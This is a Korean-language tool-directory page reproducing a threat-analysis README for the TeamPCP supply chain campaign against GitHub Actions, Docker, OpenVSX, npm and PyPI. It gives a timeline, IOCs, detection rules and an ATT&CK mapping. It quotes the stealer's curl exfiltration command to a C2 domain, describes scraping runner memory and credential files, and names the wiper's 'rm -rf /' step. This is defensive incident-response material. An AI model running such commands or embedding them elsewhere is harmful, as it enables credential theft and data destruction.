Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 파급력이 큰 CI/CD 공급망 공격. | Kitploit
도구/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Container SecurityMalware AnalysisCloud SecurityThreat IntelligenceSupply Chain SecurityLearning & EducationIncident ResponseCurated Resources

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 파급력이 큰 CI/CD 공급망 공격.

저장소 보기
11341개월 전아직 검토되지 않음

TeamPCP 공급망 공격: 기술 분석 및 탐지 가이드

CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 영향력이 큰 CI/CD 공급망 공격.

2026년 3월 19일부터 25일 사이, 위협 행위자 TeamPCP(DeadCatx3, PCPcat, ShellForce, CanisterWorm으로도 추적됨)는 GitHub Actions, Docker Hub, OpenVSX, npm, PyPI 등 5개 생태계에 걸친 연쇄적 공급망 손상을 실행했습니다. 불완전하게 순환된 단일 GitHub PAT에서 시작된 이 캠페인은 두 개의 주요 오픈소스 보안 벤더(Aqua Security 및 Checkmarx), 4개의 GitHub Actions 저장소, 2개의 VS Code 확장 프로그램, 컨테이너 레지스트리, 66개 이상의 npm 패키지로 확산되었습니다.

이 저장소는 전체 기술 분석, 선별된 IOC 목록(FP 테스트 완료), Microsoft Defender XDR에 바로 배포할 수 있는 탐지 쿼리를 제공합니다.


목차

  • 공격 타임라인
  • 킬 체인 분석
  • 손상된 아티팩트
  • 자격 증명 스틸러 작동 방식
  • CanisterWorm — npm 전파
  • 이란 표적 Wiper 구성 요소
  • 탐지 및 헌팅
  • IOC 목록
  • FP 필터링 참고 사항
  • MITRE ATT&CK 매핑
  • 참고 자료

공격 타임라인

날짜(UTC)이벤트
2026년 2월 20일hackerbot-claw 계정 생성; 악용 가능한 pull_request_target 워크플로를 찾기 위해 저장소 스캔 시작
2026년 2월 28일PWN 요청을 통한 첫 Trivy 손상; 자격 증명 유출
2026년 3월 1일Aqua Security 봉쇄 시도 — 자격 증명 순환 불완전
3월 19일 17:43주 공격: TeamPCP가 손상된 aqua-bot 서비스 계정을 통해 aquasecurity/trivy-action의 76개 태그 중 75개와 setup-trivy의 7개 전체 태그를 강제 푸시
3월 19일 18:22백도어가 삽입된 Trivy v0.69.4가 GitHub Releases, Docker Hub, GHCR, ECR에 게시됨
3월 20일 05:40Trivy-action 손상 창 종료(약 12시간)
3월 20일 20:45CanisterWorm이 npm 전역으로 확산 중임이 감지됨 — 47개 이상 패키지 손상
3월 22일 20:31TeamPCP가 스크립트 기반 2분 일제 공격으로 aquasec-com GitHub 조직의 44개 전체 저장소를 변조
3월 22일동일한 스틸러 페이로드가 포함된 Docker Hub 이미지 0.69.5 및 0.69.6 푸시
3월 23일 02:53Checkmarx 웨이브 시작: ast-phoenix 계정을 통해 악성 ast-results v2.53.0 및 cx-dev-assist v1.7.0이 OpenVSX에 게시됨
3월 23일 12:58손상된 cx-plugins-releases 계정을 통해 Checkmarx/kics-github-action의 35개 전체 태그 강제 푸시
3월 23일 15:41Checkmarx가 OpenVSX 문제 해결 보고
3월 23일 16:50사용자 신고 후 KICS GitHub Action 내려감
3월 23일 22:25Sysdig가 Checkmarx/ast-github-action v2.3.28도 손상되었음을 보고
3월 24일 08:30LiteLLM 웨이브: 도난된 자격 증명을 사용하여 트로이 목마화된 litellm v1.82.7 및 v1.82.8이 PyPI에 게시됨
3월 24일 11:25PyPI가 악성 LiteLLM 버전 격리

킬 체인 분석

1단계 — 초기 접근

근본 원인: 2월 28일 침해 이후의 불완전한 자격 증명 순환. aqua-bot 서비스 계정 PAT가 폐기되지 않았거나, 공격자가 순환 과정에서 새 토큰을 관찰했습니다.

TeamPCP는 이 유지된 접근 권한을 사용하여 악성 사칭 커밋에 버전 태그를 강제 푸시했습니다. 각 위조 커밋은 원본의 메타데이터(작성자, 타임스탬프, 메시지)를 복제하면서 진입점 스크립트를 스틸러 페이로드로 교체했습니다. GitHub 릴리스 페이지에는 눈에 띄는 변화가 없었습니다 — "Immutable" 배지조차 정상적으로 표시되었습니다.

2단계 — 페이로드 실행

스틸러(204줄짜리 entrypoint.sh로, 스스로를 "TeamPCP Cloud stealer"라고 식별)는 3개 스테이지로 구성된 공격을 실행합니다:

스테이지 1: 메모리 스크래핑

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

스테이지 2: 파일시스템 자격 증명 스윕

50개 이상의 민감한 경로를 스캔합니다:

  • SSH 키(~/.ssh/*)
  • AWS/GCP/Azure 자격 증명
  • Kubernetes 토큰 및 구성
  • Docker 레지스트리 자격 증명
  • Terraform 상태 파일
  • 암호화폐 지갑(Solana, Bitcoin, Ethereum, Cardano)
  • npm 토큰(~/.npmrc)
  • 셸 히스토리
  • .env 파일

스테이지 3: 암호화된 유출

  • 수집된 모든 데이터를 tpcp.tar.gz로 번들링
  • AES-256-CBC(임의 세션 키) + RSA-4096/RSA-OAEP(공격자의 공개 키)로 암호화
  • 벤더별 타입스쿼트 도메인으로 curl POST를 통해 유출
  • 폴백: 도난된 GITHUB_TOKEN을 사용하여 피해자의 GitHub 계정에 tpcp-docs 또는 docs-tpcp 저장소 생성

3단계 — 지속성

비 CI Linux 시스템에서 악성코드는:

  1. 숨겨진 디렉터리 ~/.config/sysmon/ 생성
  2. Python 백도어(sysmon.py) 드롭
  3. 50분마다 C2를 폴링하는 systemd 사용자 서비스 설치
  4. 킬 스위치: C2 응답에 "youtube"가 포함되면 백도어 실행 건너뜀

4단계 — 수평 이동(Checkmarx 웨이브)

Trivy 웨이브에서 도난된 자격 증명으로 Checkmarx 생태계의 손상이 가능해졌습니다. 각각의 새로운 웨이브는 이전 웨이브의 차단 목록을 회피하기 위해 서로 다른 타입스쿼트 C2 도메인을 사용했습니다:

웨이브C2 도메인타입스쿼트 대상
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

손상된 아티팩트

GitHub Actions

OpenVSX 확장 프로그램(VS Code Marketplace는 영향 없음)

확장 프로그램악성 버전안전 버전
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

두 확장 프로그램 모두 3월 23일 12:53 UTC에 ast-phoenix 계정을 통해 12초 간격으로 게시되었습니다. 활성화 시 environmentAuthChecker.js가 클라우드 공급자 자격 증명을 확인한 다음 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz에서 2차 스테이지 스틸러를 가져옵니다.

컨테이너 이미지

이미지악성 태그
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

패키지버전백도어 삽입 파일
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

K8s 수평 이동 툴킷이 포함된 3중 중첩 base64 페이로드. checkmarx.zone/raw를 폴링하는 sysmon.service를 통한 지속성.


자격 증명 스틸러 작동 방식

유출 패턴은 모든 웨이브에서 동일합니다:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

타입스쿼트 도메인 전략은 의도적입니다: CI/CD 로그를 검토하는 분석가는 해당 액션의 자체 벤더 도메인처럼 보이는 곳으로 향하는 curl 트래픽을 보게 됩니다. 신중한 비교 없이는 빠른 로그 검토에서 scan.aquasecurtiy.org가 aquasecurity.org로 통과됩니다.

도난된 데이터를 복호화할 수 있는 것은 공격자뿐입니다 — AES 세션 키는 공격자의 공개 키로 RSA-OAEP 암호화됩니다.


CanisterWorm — npm 전파

Trivy 손상 후 24시간 이내에, 도난된 npm 토큰으로 66개 이상의 패키지(141개의 악성 아티팩트)에 걸친 자가 전파 웜이 가능해졌습니다.

CanisterWorm이 주목할 만한 이유:

  • C2로 ICP(Internet Computer Protocol) 블록체인 캐니스터를 사용하는 최초의 문서화된 npm 악성코드
  • tdtqy-oyaaa-aaaae-af2dq-cai의 캐니스터는 분산형 스마트 계약 — 단일 제거 지점 없음
  • 3개의 메서드 노출: get_latest_link, http_request, update_link
  • 공격자는 npm 패키지를 다시 게시하지 않고도 모든 감염 머신에서 페이로드를 교체할 수 있음
  • 킬 스위치: 캐니스터가 youtube.com을 포함하는 URL을 반환하면 백도어가 휴면 상태가 됨
  • 지속성: pgmon(PostgreSQL 모니터링)으로 위장하는 systemd 사용자 서비스
  • 폴링 간격: 50분마다
  • 바이너리는 /tmp/pglog에 드롭, 상태는 /tmp/.pg_state에 추적

알려진 손상 범위: @emilgroup/*, @teale.io/*(@teale.io/eslint-config v1.8.11, v1.8.12의 자가 전파 변종)


이란 표적 Wiper 구성 요소

파괴적 변종은 이란 시스템을 구체적으로 표적합니다:

  1. Kubernetes + 이란: 모든 노드(컨트롤 플레인 포함)에 권한 있는 DaemonSet 배포, kamikaze라는 컨테이너를 통해 데이터 삭제 및 강제 재부팅 수행
  2. Kubernetes + 비이란: CanisterWorm 백도어를 systemd 서비스로 설치
  3. 비 K8s + 이란: sudo로 rm -rf / --no-preserve-root 실행
  4. 비 K8s + 비이란: 조치 없음

탐지는 시스템 시간대 및 로케일 확인을 통해 이루어집니다.


탐지 및 헌팅

Microsoft Defender XDR — 사용자 지정 탐지 규칙

규칙 이름: TeamPCP Supply Chain C2 and Malware IOC Match
심각도: 높음
범주: CommandAndControl
빈도: 매 1시간

전체 KQL 쿼리는 detection/defender_xdr_query.kql을 참조하세요.

쿼리는 다음 항목을 포함합니다:

  • 7개의 SHA256 파일 해시(스틸러 + CanisterWorm 변종)
  • 2개의 C2 IP 주소
  • 4개의 C2 도메인(타입스쿼트 + ICP 캐니스터)
  • 4개의 특정 C2 URL
  • DNS 확인 검사

Defender TI 지표 가져오기

바로 가져올 수 있는 CSV가 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv에 제공됩니다. 이 파일은 프로덕션 엔터프라이즈 환경에서 FP 테스트를 거쳤습니다.

기타 플랫폼

플랫폼탐지
Palo Alto Cortex XDR규칙 ioc.linux.shaihulud.2 — GitHub Action 러너에서의 자격 증명 접근
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, Curl Exfiltrating File,

IOC 목록

파일 해시(SHA256)

네트워크 IOC

C2 URL 경로

URL기능
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz2차 스테이지 페이로드 다운로드
checkmarx[.]zone/vsx유출 엔드포인트

지속성 아티팩트

GitHub 유출 저장소(폴백)

이름웨이브
tpcp-docsTrivy
docs-tpcpCheckmarx

FP 필터링 참고 사항

이 저장소의 탐지 쿼리와 IOC CSV는 다음을 실행하는 프로덕션 환경에서 테스트되었습니다:

  • community.general 및 kubernetes.core 컬렉션을 사용하는 Ansible AWX/Tower
  • macOS 개발자 워크스테이션의 Claude Code 및 GitHub Copilot
  • FortiMonitor 에이전트(IMDS 폴링)
  • OCI 인스턴스의 Oracle AHF(IMDS 폴링)
  • 다양한 Python/Node.js 개발 도구 체인

다음 IOC는 확인된 오탐(false positive)으로 인해 제거되었습니다:


MITRE ATT&CK 매핑


참고 자료


라이선스

MIT — 자유롭게 사용, 공유, 수정 가능. 출처 표기를 부탁드립니다.


저자: Ugur Can Ates — SOC 팀 리드 겸 시니어 보안 엔지니어
최종 업데이트: 2026년 3월 25일

도구 다운로드
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
저장소손상된 태그노출 창(UTC)진입점
aquasecurity/trivy-action76개 중 75개(안전: 0.35.0)3월 19일 17:43 – 3월 20일 05:40entrypoint.sh
aquasecurity/setup-trivy7개 전 태그3월 19일 17:43 – 21:44action.yaml
Checkmarx/kics-github-action35개 전 태그3월 23일 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28(전체로 추정)3월 23일 ~22:25+setup.sh
Exfiltration of AWS IMDS Credentials Using LOTL Binary
해시설명출처
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aTrivy 악성 entrypoint.shPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm 4차 웨이브 — 최종 형태Aikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm 3차 웨이브 — 자가 전파 테스트Aikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm 2차 웨이브 — 무장된 ICP 백도어Aikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm 1차 웨이브 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm 2차 웨이브 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm 3차+ 웨이브 — 축소된 deploy.jsAikido Security
지표유형용도
83.142.209.11IPC2 서버(checkmarx.zone)
45.148.10.212IPC2 서버(scan.aquasecurtiy.org)
checkmarx[.]zone도메인C2 — Checkmarx/KICS/LiteLLM 웨이브
scan.aquasecurtiy[.]org도메인C2 — Trivy 웨이브
models.litellm[.]cloud도메인C2 — LiteLLM PyPI 웨이브
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io도메인ICP 캐니스터 데드드롭 C2
checkmarx[.]zone/raw지속성 폴링(50분)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ICP 캐니스터 C2
경로용도
~/.config/sysmon/백도어 디렉터리
~/.config/sysmon.pyPython 백도어
~/.config/systemd/user/sysmon.serviceSystemd 지속성
~/.config/systemd/user/pgmon.serviceCanisterWorm 지속성(PostgreSQL 위장)
/tmp/pglog다운로드된 바이너리
/tmp/.pg_stateC2 폴링 상태
IOCFP 출처
setup.sh(파일 이름)Ansible 컬렉션, Claude Code 플러그인 캐시, Bitnami 스크립트
service.py(파일 이름)Ansible module_utils, protobuf, boto3, FreeIPA, K8s core
deploy.js(파일 이름)표준 npm/node 파일
169.254.169.254(IMDS IP)FortiMonitor 에이전트, Oracle AHF — 합법적인 모니터링
icp0.io(상위 도메인)너무 광범위하여 합법적인 ICP 트래픽이 걸림
hooks.slack.com(명령줄)합법적인 Slack 통합
discord.com/api/webhooks(명령줄)합법적인 Discord 통합
기법ID컨텍스트
공급망 손상: 소프트웨어 종속성T1195.002GitHub Actions 태그 포이즈닝, OpenVSX, npm, PyPI
보호되지 않은 자격 증명: 클라우드 인스턴스 메타데이터 APIT1552.005CI 러너로부터의 AWS IMDS 탈취
비밀번호 저장소에서 자격 증명 획득T1555파일시스템 자격 증명 스윕(50개 이상 경로)
OS 자격 증명 덤핑T1003Runner.Worker /proc/mem 스크래핑
C2 채널을 통한 유출T1041타입스쿼트 도메인으로 암호화된 tpcp.tar.gz
웹 서비스T1102ICP 캐니스터 데드드롭 C2
Systemd 서비스T1543.002pgmon.service, sysmon.service 지속성
수신 도구 전송T1105checkmarx-util-1.0.4.tgz 다운로드
인프라 획득: 도메인T1583.001웨이브별 타입스쿼트 도메인
출처링크
Wiz — KICS Compromisehttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Trivy Compromisehttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Checkmarx Expansionhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx Officialhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Full Timelinehttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — npm Compromisehttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Trivy Analysishttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Extended Analysishttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — IOC Timelinehttps://ramimac.me/trivy-teampcp/